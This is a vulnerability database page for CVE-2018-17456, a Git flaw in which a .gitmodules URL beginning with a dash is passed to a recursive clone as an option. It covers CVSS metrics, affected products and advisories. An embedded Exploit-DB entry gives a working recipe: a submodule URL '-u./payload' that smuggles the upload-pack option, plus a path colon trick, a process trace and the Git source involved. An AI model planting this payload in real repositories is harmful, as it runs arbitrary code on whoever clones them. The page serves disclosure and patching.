CVE-2018-17456 : Detail

CVE-2018-17456

9.8
/
Critical
A03-Injection
68.19%V3
Network
2018-10-06
12h00 +00:00
2020-05-01
21h06 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Git before 2.14.5, 2.15.x before 2.15.3, 2.16.x before 2.16.5, 2.17.x before 2.17.2, 2.18.x before 2.18.1, and 2.19.x before 2.19.1 allows remote code execution during processing of a recursive "git clone" of a superproject if a .gitmodules file has a URL field beginning with a '-' character.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45631

Publication date : 2018-10-15 22h00 +00:00
Author : joernchen
EDB Verified : No

# CVE-2018-17456 I've gotten a couple of questions about exploitation for the [recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we go with some technical details. ## TL;DR [Here](https://github.com/joernchen/poc-submodule) is a PoC repository. EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip ## Exploitation The `.gitmodules` file looks as follows: ``` [submodule "x:x"] path = x:x url = -u./payload ``` The actual command being injected is set by the url, `-u./payload` points the `upload-pack` flag of git clone to the `payload` shell script. Note also the `:` within the path, this part is needed to actually get the `payload` script executed. The path will end up as the repository URL in the subsequent `clone` operation: ``` execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone", "--no-checkout", "--progress", "--separate-git-dir", "/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],... ``` As the actual URL from `.gitmodules` is interpreted as the `-u` argument. The colon is due to the fact, that the colon character let us go past those lines in `transport.c`: ```c } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) { struct bundle_transport_data *data = xcalloc(1, sizeof(*data)); transport_check_allowed("file"); ret->data = data; ret->vtable = &bundle_vtable; ret->smart_options = NULL; ``` Due to `url_is_local_not_ssh` will return false due to the colon in the path. And therefore later on in the code the smart_options containing the `uploadpack` setting are still in place: ```c } else { /* Unknown protocol in URL. Pass to external handler. */ int len = external_specification_len(url); char *handler = xmemdupz(url, len); transport_helper_init(ret, handler); } if (ret->smart_options) { ret->smart_options->thin = 1; ret->smart_options->uploadpack = "git-upload-pack"; if (remote->uploadpack) ret->smart_options->uploadpack = remote->uploadpack; ret->smart_options->receivepack = "git-receive-pack";1 if (remote->receivepack) ret->smart_options->receivepack = remote->receivepack; } ``` ## Further hints The constraint to have a colon in the `path` seems to hinder exploitation on Windows as a colon is a forbidden character within a path on Windows. However as noted by some people during the disclosure: Git running within the Windows Subsystem for Linux or cygwin will allow exploitation on Windows hosts. Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/) earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).
Exploit Database EDB-ID : 45548

Publication date : 2018-10-04 22h00 +00:00
Author : Junio C Hamano
EDB Verified : No

These releases fix a security flaw (CVE-2018-17456), which allowed an attacker to execute arbitrary code by crafting a malicious .gitmodules file in a project cloned with --recurse-submodules. When running "git clone --recurse-submodules", Git parses the supplied .gitmodules file for a URL field and blindly passes it as an argument to a "git clone" subprocess. If the URL field is set to a string that begins with a dash, this "git clone" subprocess interprets the URL as an option. This can lead to executing an arbitrary script shipped in the superproject as the user who ran "git clone". In addition to fixing the security issue for the user running "clone", the 2.17.2, 2.18.1 and 2.19.1 releases have an "fsck" check which can be used to detect such malicious repository content when fetching or accepting a push. See "transfer.fsckObjects" in git-config(1). Credit for finding and fixing this vulnerability goes to joernchen and Jeff King, respectively. P.S. Folks at Microsoft tried to follow the known exploit recipe on Git for Windows (but not Cygwin or other Git implementations on Windows) and found that the recipe (or its variants they can think of) would not make their system vulnerable. This is due to the fact that the type of submodule path require by the known exploit recipe cannot be created on Windows. Nonetheless, it is possible we have missed some exploitation path and users are encouraged to upgrade.

Products Mentioned

Configuraton 0

Git-scm>>Git >> Version From (including) 2.14.0 To (excluding) 2.14.5

Git-scm>>Git >> Version From (including) 2.15.0 To (excluding) 2.15.3

Git-scm>>Git >> Version From (including) 2.16.0 To (excluding) 2.16.5

Git-scm>>Git >> Version From (including) 2.17.0 To (excluding) 2.17.2

Git-scm>>Git >> Version From (including) 2.18.0 To (excluding) 2.18.1

Git-scm>>Git >> Version From (including) 2.19.0 To (excluding) 2.19.1

Configuraton 0

Redhat>>Ansible_tower >> Version 3.3

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 6.7

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux >> Version 7.3

Redhat>>Enterprise_linux >> Version 7.4

Redhat>>Enterprise_linux >> Version 7.5

Redhat>>Enterprise_linux >> Version 7.6

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_workstation >> Version 7.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Configuraton 0

Debian>>Debian_linux >> Version 9.0

References

https://www.exploit-db.com/exploits/45631/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/105523
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1041811
Tags : vdb-entry, x_refsource_SECTRACK
https://www.debian.org/security/2018/dsa-4311
Tags : vendor-advisory, x_refsource_DEBIAN
https://access.redhat.com/errata/RHSA-2018:3505
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/45548/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2018:3541
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:3408
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3791-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://seclists.org/bugtraq/2019/Mar/30
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/107511
Tags : vdb-entry, x_refsource_BID
https://access.redhat.com/errata/RHSA-2020:0316
Tags : vendor-advisory, x_refsource_REDHAT